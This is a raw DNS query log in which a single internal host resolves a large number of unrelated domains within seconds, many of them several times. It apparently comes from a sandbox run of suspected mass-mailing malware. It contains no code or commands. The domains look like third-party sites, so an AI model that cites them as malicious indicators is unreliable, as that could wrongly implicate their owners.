Mar 10, 2023 07:55:59.506187916 CET	192.168.2.6	8.8.8.8	0x130a	Standard query (0)	wahw.com.au	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:59.506386995 CET	192.168.2.6	8.8.8.8	0xe3d5	Standard query (0)	hes.pt	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:59.516060114 CET	192.168.2.6	8.8.8.8	0x94	Standard query (0)	106west.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:59.555330038 CET	192.168.2.6	8.8.8.8	0x47f9	Standard query (0)	shanks.co.uk	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:59.558557987 CET	192.168.2.6	198.32.64.12	0x8d	Standard query (0)	de	NS (Name server)	IN (0x0001)	false
Mar 10, 2023 07:55:59.655603886 CET	192.168.2.6	8.8.8.8	0xb68d	Standard query (0)	magicomm.co.uk	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:59.655905962 CET	192.168.2.6	8.8.8.8	0x9cf3	Standard query (0)	shesfit.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:59.680978060 CET	192.168.2.6	8.8.8.8	0xa986	Standard query (0)	ktenergo.ru	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:59.682173014 CET	192.168.2.6	8.8.8.8	0x55c4	Standard query (0)	karila.fr	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:59.696378946 CET	192.168.2.6	8.8.8.8	0xc830	Standard query (0)	michiana.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:59.701155901 CET	192.168.2.6	8.8.8.8	0x341c	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:59.732352018 CET	192.168.2.6	8.8.8.8	0x9a5f	Standard query (0)	xult.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:59.743467093 CET	192.168.2.6	8.8.8.8	0xe0d3	Standard query (0)	haigh-me.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:59.745260954 CET	192.168.2.6	8.8.8.8	0x4c94	Standard query (0)	hyab.se	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:59.846023083 CET	192.168.2.6	8.8.8.8	0x2504	Standard query (0)	nt-hat.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:59.959697962 CET	192.168.2.6	8.8.8.8	0xed7d	Standard query (0)	dhh.la.gov	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.010940075 CET	192.168.2.6	8.8.8.8	0xc378	Standard query (0)	t-trust.jp	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.012968063 CET	192.168.2.6	8.8.8.8	0x1eac	Standard query (0)	ultibax.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.054560900 CET	192.168.2.6	8.8.8.8	0x7b6e	Standard query (0)	pleszew.policja.gov.pl	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.244002104 CET	192.168.2.6	8.8.8.8	0xfbea	Standard query (0)	mikihan.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.310719967 CET	192.168.2.6	8.8.8.8	0xfaf8	Standard query (0)	any-s.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.341955900 CET	192.168.2.6	8.8.8.8	0x1d9f	Standard query (0)	kursavto.ru	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.352253914 CET	192.168.2.6	8.8.8.8	0x671d	Standard query (0)	slower.it	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.355549097 CET	192.168.2.6	8.8.8.8	0xb87c	Standard query (0)	orlyhotel.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.439028978 CET	192.168.2.6	8.8.8.8	0xf2d4	Standard query (0)	indonesiamedia.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.476429939 CET	192.168.2.6	8.8.8.8	0xf4b3	Standard query (0)	nt-hat.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.477042913 CET	192.168.2.6	8.8.8.8	0x3e02	Standard query (0)	sinwal.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.511142015 CET	192.168.2.6	8.8.8.8	0x650d	Standard query (0)	haigh-me.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.525851011 CET	192.168.2.6	8.8.8.8	0x8335	Standard query (0)	tcpoa.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.526005983 CET	192.168.2.6	8.8.8.8	0xf05e	Standard query (0)	infotech.pl	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.527965069 CET	192.168.2.6	8.8.8.8	0xfebd	Standard query (0)	fdlymca.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.620481014 CET	192.168.2.6	8.8.8.8	0x9a6b	Standard query (0)	xinhui.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.622302055 CET	192.168.2.6	8.8.8.8	0x9a39	Standard query (0)	haigh-me.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.638406038 CET	192.168.2.6	8.8.8.8	0xf2e0	Standard query (0)	web-york.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.658956051 CET	192.168.2.6	8.8.8.8	0xbdb6	Standard query (0)	yasuma.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.662746906 CET	192.168.2.6	8.8.8.8	0x5031	Standard query (0)	popbook.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.665230036 CET	192.168.2.6	198.32.64.12	0x21	Standard query (0)	com	NS (Name server)	IN (0x0001)	false
Mar 10, 2023 07:56:00.684298038 CET	192.168.2.6	8.8.8.8	0x5641	Standard query (0)	ultibax.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.695641994 CET	192.168.2.6	8.8.8.8	0x39fe	Standard query (0)	dayvo.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.703072071 CET	192.168.2.6	8.8.8.8	0x52f8	Standard query (0)	dataform.co.uk	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.771131039 CET	192.168.2.6	8.8.8.8	0xc560	Standard query (0)	sigtoa.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.780662060 CET	192.168.2.6	8.8.8.8	0xc26d	Standard query (0)	mikihan.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.804934978 CET	192.168.2.6	8.8.8.8	0xb7d1	Standard query (0)	webavant.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.806453943 CET	192.168.2.6	8.8.8.8	0x2b5c	Standard query (0)	sigtoa.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.808773041 CET	192.168.2.6	8.8.8.8	0xf5ae	Standard query (0)	shittas.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.809709072 CET	192.168.2.6	8.8.8.8	0xfbc4	Standard query (0)	invictus.pl	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.823642969 CET	192.168.2.6	8.8.8.8	0xe4cf	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.824764013 CET	192.168.2.6	8.8.8.8	0x341c	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.824963093 CET	192.168.2.6	8.8.8.8	0xa986	Standard query (0)	ktenergo.ru	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.842384100 CET	192.168.2.6	8.8.8.8	0x1ee5	Standard query (0)	ramkome.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.851604939 CET	192.168.2.6	8.8.8.8	0x926e	Standard query (0)	nts-web.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.856719971 CET	192.168.2.6	8.8.8.8	0x941e	Standard query (0)	nolaoig.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.857882977 CET	192.168.2.6	8.8.8.8	0x834a	Standard query (0)	dayvo.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.858086109 CET	192.168.2.6	8.8.8.8	0x261d	Standard query (0)	tbvlugus.nl	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.862483025 CET	192.168.2.6	8.8.8.8	0x841	Standard query (0)	avc.com.sa	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.863159895 CET	192.168.2.6	8.8.8.8	0xcef1	Standard query (0)	pellys.co.uk	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.939130068 CET	192.168.2.6	8.8.8.8	0x44f5	Standard query (0)	ftmobile.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.964869976 CET	192.168.2.6	8.8.8.8	0x6277	Standard query (0)	averwin.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.967359066 CET	192.168.2.6	8.8.8.8	0x9d2	Standard query (0)	pertex.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.969337940 CET	192.168.2.6	8.8.8.8	0x38d8	Standard query (0)	ultibax.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.971765995 CET	192.168.2.6	8.8.8.8	0xc20f	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.994118929 CET	192.168.2.6	8.8.8.8	0x93a	Standard query (0)	dyag-eng.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:01.084270954 CET	192.168.2.6	8.8.8.8	0xa795	Standard query (0)	anduran.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:01.120383024 CET	192.168.2.6	8.8.8.8	0xab34	Standard query (0)	fr-dat.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:01.766566038 CET	192.168.2.6	8.8.8.8	0x6a78	Standard query (0)	chzko.ru	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:01.796422005 CET	192.168.2.6	8.8.8.8	0x44af	Standard query (0)	kustnara.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:01.904294968 CET	192.168.2.6	8.8.8.8	0xad5a	Standard query (0)	pccj.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:01.980209112 CET	192.168.2.6	8.8.8.8	0xb5e5	Standard query (0)	atis-sk.ca	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:02.079967976 CET	192.168.2.6	8.8.8.8	0x162c	Standard query (0)	multip.hu	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:02.096327066 CET	192.168.2.6	8.8.8.8	0x653	Standard query (0)	michiana.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:02.180989981 CET	192.168.2.6	8.8.8.8	0xb270	Standard query (0)	kavram.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:02.226454973 CET	192.168.2.6	8.8.8.8	0x50c7	Standard query (0)	cyclad.pl	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:02.239377022 CET	192.168.2.6	8.8.8.8	0x3770	Standard query (0)	aiolos-sa.gr	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:02.245434046 CET	192.168.2.6	8.8.8.8	0xe923	Standard query (0)	likangds.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:02.250031948 CET	192.168.2.6	8.8.8.8	0xa75a	Standard query (0)	e-asset.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:02.341490984 CET	192.168.2.6	8.8.8.8	0x8bb3	Standard query (0)	icd-host.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:02.349842072 CET	192.168.2.6	8.8.8.8	0xc20f	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:02.440414906 CET	192.168.2.6	8.8.8.8	0x7b67	Standard query (0)	midap.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:02.451211929 CET	192.168.2.6	8.8.8.8	0xe99e	Standard query (0)	rokoron.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:02.626727104 CET	192.168.2.6	8.8.8.8	0x53ab	Standard query (0)	acraloc.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:02.627038002 CET	192.168.2.6	8.8.8.8	0x8c10	Standard query (0)	aba.org.eg	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:02.737797022 CET	192.168.2.6	8.8.8.8	0x806f	Standard query (0)	dbnet.at	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:03.480731964 CET	192.168.2.6	8.8.8.8	0x77a1	Standard query (0)	muhr-soehne.de	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:03.481097937 CET	192.168.2.6	8.8.8.8	0x53e	Standard query (0)	nt-hat.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:03.486823082 CET	192.168.2.6	8.8.8.8	0x8bb3	Standard query (0)	icd-host.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:03.486910105 CET	192.168.2.6	8.8.8.8	0xe99e	Standard query (0)	rokoron.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:03.486985922 CET	192.168.2.6	8.8.8.8	0x7b67	Standard query (0)	midap.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:03.501709938 CET	192.168.2.6	8.8.8.8	0x2a54	Standard query (0)	biurohera.pl	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:03.515032053 CET	192.168.2.6	8.8.8.8	0x1c7d	Standard query (0)	apcotex.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:03.584187984 CET	192.168.2.6	8.8.8.8	0x62ae	Standard query (0)	adventist.ro	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:03.586276054 CET	192.168.2.6	8.8.8.8	0xdb5b	Standard query (0)	from30ty.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:04.086487055 CET	192.168.2.6	8.8.8.8	0xc20f	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:04.322141886 CET	192.168.2.6	8.8.8.8	0x1239	Standard query (0)	anduran.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:05.480799913 CET	192.168.2.6	8.8.8.8	0x49d1	Standard query (0)	valselit.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:05.493858099 CET	192.168.2.6	8.8.8.8	0xdc9d	Standard query (0)	thiessen.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:05.496505022 CET	192.168.2.6	8.8.8.8	0xd9f7	Standard query (0)	aiolos-sa.gr	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:05.597258091 CET	192.168.2.6	8.8.8.8	0x72da	Standard query (0)	karmy.com.pl	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:05.601413965 CET	192.168.2.6	8.8.8.8	0x56a9	Standard query (0)	linac.co.uk	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:05.627995968 CET	192.168.2.6	8.8.8.8	0x341c	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:05.754365921 CET	192.168.2.6	8.8.8.8	0x9142	Standard query (0)	mackusick.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:05.861115932 CET	192.168.2.6	8.8.8.8	0x6b45	Standard query (0)	gbmfg.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:05.887968063 CET	192.168.2.6	8.8.8.8	0x7e7a	Standard query (0)	uhsa.edu.ag	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:05.889471054 CET	192.168.2.6	8.8.8.8	0x278	Standard query (0)	cnti.krsn.ru	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:05.889615059 CET	192.168.2.6	8.8.8.8	0x51b8	Standard query (0)	bossinst.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:05.889751911 CET	192.168.2.6	8.8.8.8	0xfcad	Standard query (0)	thiessen.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:05.906106949 CET	192.168.2.6	198.32.64.12	0x8d	Standard query (0)	de	NS (Name server)	IN (0x0001)	false
Mar 10, 2023 07:56:05.939730883 CET	192.168.2.6	8.8.8.8	0xde56	Standard query (0)	vfcindia.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:05.948610067 CET	192.168.2.6	8.8.8.8	0x92da	Standard query (0)	vonparis.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:05.994165897 CET	192.168.2.6	8.8.8.8	0x2223	Standard query (0)	envogen.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:05.999924898 CET	192.168.2.6	8.8.8.8	0xcc9d	Standard query (0)	webways.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:06.001691103 CET	192.168.2.6	8.8.8.8	0x9fa4	Standard query (0)	atb-lit.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:06.013644934 CET	192.168.2.6	8.8.8.8	0x5d29	Standard query (0)	averwin.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:06.015505075 CET	192.168.2.6	8.8.8.8	0xd11a	Standard query (0)	portoccd.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:06.022197962 CET	192.168.2.6	8.8.8.8	0xf44c	Standard query (0)	cnti.krsn.ru	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:06.024425983 CET	192.168.2.6	8.8.8.8	0xb4e6	Standard query (0)	gydrozo.ru	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:06.039807081 CET	192.168.2.6	8.8.8.8	0x5d42	Standard query (0)	isom.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:06.039972067 CET	192.168.2.6	8.8.8.8	0x7de2	Standard query (0)	portoccd.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:06.075875044 CET	192.168.2.6	8.8.8.8	0x5f63	Standard query (0)	grlawcc.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:06.077187061 CET	192.168.2.6	8.8.8.8	0xae8f	Standard query (0)	koz1.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:06.389856100 CET	192.168.2.6	8.8.8.8	0xaa0b	Standard query (0)	s5w.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:06.435605049 CET	192.168.2.6	8.8.8.8	0x3ba1	Standard query (0)	www.wkhk.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:06.566802979 CET	192.168.2.6	8.8.8.8	0xdcb0	Standard query (0)	host.do	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:06.571803093 CET	192.168.2.6	8.8.8.8	0xd03d	Standard query (0)	aiolos-sa.gr	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:06.601464033 CET	192.168.2.6	8.8.8.8	0xb07c	Standard query (0)	ktenergo.ru	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:06.630537987 CET	192.168.2.6	8.8.8.8	0xf10e	Standard query (0)	softizer.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:06.630606890 CET	192.168.2.6	8.8.8.8	0x62d6	Standard query (0)	geecl.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:06.632438898 CET	192.168.2.6	8.8.8.8	0xf72	Standard query (0)	akdeniz.nl	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:06.632683039 CET	192.168.2.6	8.8.8.8	0x48ec	Standard query (0)	vonparis.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:06.632880926 CET	192.168.2.6	8.8.8.8	0x4532	Standard query (0)	shanks.co.uk	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:06.641196012 CET	192.168.2.6	198.32.64.12	0x21	Standard query (0)	com	NS (Name server)	IN (0x0001)	false
Mar 10, 2023 07:56:06.642273903 CET	192.168.2.6	8.8.8.8	0x1cc7	Standard query (0)	mkm-gr.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:06.653059006 CET	192.168.2.6	8.8.8.8	0xc5bd	Standard query (0)	koz1.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:06.719543934 CET	192.168.2.6	8.8.8.8	0x7b93	Standard query (0)	grlawcc.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:06.819633961 CET	192.168.2.6	8.8.8.8	0x289	Standard query (0)	koz1.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.019712925 CET	192.168.2.6	8.8.8.8	0xb8e2	Standard query (0)	tbvlugus.nl	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.020488977 CET	192.168.2.6	8.8.8.8	0x39ed	Standard query (0)	ftchat.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.020945072 CET	192.168.2.6	8.8.8.8	0x46fa	Standard query (0)	rappich.de	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.021653891 CET	192.168.2.6	8.8.8.8	0xb067	Standard query (0)	vivastay.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.043423891 CET	192.168.2.6	8.8.8.8	0x1a73	Standard query (0)	hes.pt	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.043968916 CET	192.168.2.6	8.8.8.8	0x84be	Standard query (0)	johnlyon.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.054846048 CET	192.168.2.6	8.8.8.8	0x8d0c	Standard query (0)	mcseurope.nl	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.057693005 CET	192.168.2.6	8.8.8.8	0x6477	Standard query (0)	aba.org.eg	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.057749987 CET	192.168.2.6	8.8.8.8	0x397	Standard query (0)	chzko.ru	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.058036089 CET	192.168.2.6	8.8.8.8	0xcb4	Standard query (0)	paraski.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.156053066 CET	192.168.2.6	8.8.8.8	0x3a38	Standard query (0)	lyto.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.312273979 CET	192.168.2.6	8.8.8.8	0x7504	Standard query (0)	chzko.ru	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.324601889 CET	192.168.2.6	8.8.8.8	0x8f3	Standard query (0)	ftchat.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.377811909 CET	192.168.2.6	8.8.8.8	0x7c44	Standard query (0)	chzko.ru	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.384907007 CET	192.168.2.6	8.8.8.8	0x9709	Standard query (0)	esmoke.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.397847891 CET	192.168.2.6	8.8.8.8	0x171c	Standard query (0)	juso-gr.ch	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.410041094 CET	192.168.2.6	8.8.8.8	0x87fc	Standard query (0)	pro-fa.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.432686090 CET	192.168.2.6	8.8.8.8	0x7584	Standard query (0)	ftchat.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.439532042 CET	192.168.2.6	8.8.8.8	0xb84f	Standard query (0)	juso-gr.ch	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.439877987 CET	192.168.2.6	8.8.8.8	0x597a	Standard query (0)	jnf.at	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.447185040 CET	192.168.2.6	8.8.8.8	0xe4fe	Standard query (0)	kallman.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.463464022 CET	192.168.2.6	8.8.8.8	0xa6d8	Standard query (0)	averwin.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.468328953 CET	192.168.2.6	8.8.8.8	0x2e2b	Standard query (0)	nolaoig.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.468395948 CET	192.168.2.6	8.8.8.8	0xb175	Standard query (0)	grlawcc.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.472112894 CET	192.168.2.6	8.8.8.8	0x4379	Standard query (0)	flamingorecordings.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.473371983 CET	192.168.2.6	8.8.8.8	0xb3aa	Standard query (0)	uhsa.edu.ag	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.478590012 CET	192.168.2.6	8.8.8.8	0x42a6	Standard query (0)	scintel.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.479135990 CET	192.168.2.6	8.8.8.8	0xb9c1	Standard query (0)	burstner.ru	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.493858099 CET	192.168.2.6	8.8.8.8	0xd0c8	Standard query (0)	sokuwan.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.498461962 CET	192.168.2.6	8.8.8.8	0x4b4f	Standard query (0)	onzcda.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.510420084 CET	192.168.2.6	8.8.8.8	0xe648	Standard query (0)	gphpedit.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.581934929 CET	192.168.2.6	8.8.8.8	0x66af	Standard query (0)	cbras.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.604285002 CET	192.168.2.6	8.8.8.8	0x8b0d	Standard query (0)	lpver.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.605927944 CET	192.168.2.6	8.8.8.8	0xd64d	Standard query (0)	pertex.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.619184971 CET	192.168.2.6	8.8.8.8	0x6b03	Standard query (0)	likangds.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.652626038 CET	192.168.2.6	8.8.8.8	0x515d	Standard query (0)	rtcasey.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.667327881 CET	192.168.2.6	8.8.8.8	0xfde9	Standard query (0)	nblewis.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.668313980 CET	192.168.2.6	8.8.8.8	0xb07c	Standard query (0)	ktenergo.ru	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.705724955 CET	192.168.2.6	8.8.8.8	0xebca	Standard query (0)	pro-fa.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.713263988 CET	192.168.2.6	8.8.8.8	0x9635	Standard query (0)	pertex.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.717238903 CET	192.168.2.6	8.8.8.8	0x83b6	Standard query (0)	vfcindia.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.717238903 CET	192.168.2.6	8.8.8.8	0xdf2e	Standard query (0)	106west.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.762001038 CET	192.168.2.6	8.8.8.8	0x4ac1	Standard query (0)	pro-fa.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.787758112 CET	192.168.2.6	8.8.8.8	0x5c91	Standard query (0)	cubodown.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.792229891 CET	192.168.2.6	8.8.8.8	0x2035	Standard query (0)	bidroll.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.923655987 CET	192.168.2.6	8.8.8.8	0xedc5	Standard query (0)	cbaben.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.941636086 CET	192.168.2.6	8.8.8.8	0x3064	Standard query (0)	nettlinx.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.943789959 CET	192.168.2.6	8.8.8.8	0x809	Standard query (0)	78san.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.996332884 CET	192.168.2.6	8.8.8.8	0x5764	Standard query (0)	nettle.pl	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:08.008462906 CET	192.168.2.6	8.8.8.8	0x8ee8	Standard query (0)	linac.co.uk	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:08.028132915 CET	192.168.2.6	8.8.8.8	0xdd54	Standard query (0)	vonparis.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:08.028919935 CET	192.168.2.6	8.8.8.8	0x2cef	Standard query (0)	umcor.am	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:08.029869080 CET	192.168.2.6	8.8.8.8	0x55ad	Standard query (0)	kumaden.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:08.064027071 CET	192.168.2.6	8.8.8.8	0x6cd2	Standard query (0)	anteph.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:08.133590937 CET	192.168.2.6	8.8.8.8	0xe378	Standard query (0)	stopllc.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:08.134064913 CET	192.168.2.6	8.8.8.8	0x339a	Standard query (0)	yasuma.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:08.221338034 CET	192.168.2.6	8.8.8.8	0x6c98	Standard query (0)	smitko.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:08.236133099 CET	192.168.2.6	8.8.8.8	0x5314	Standard query (0)	t-trust.jp	A (IP address)	IN (0x0001)	false
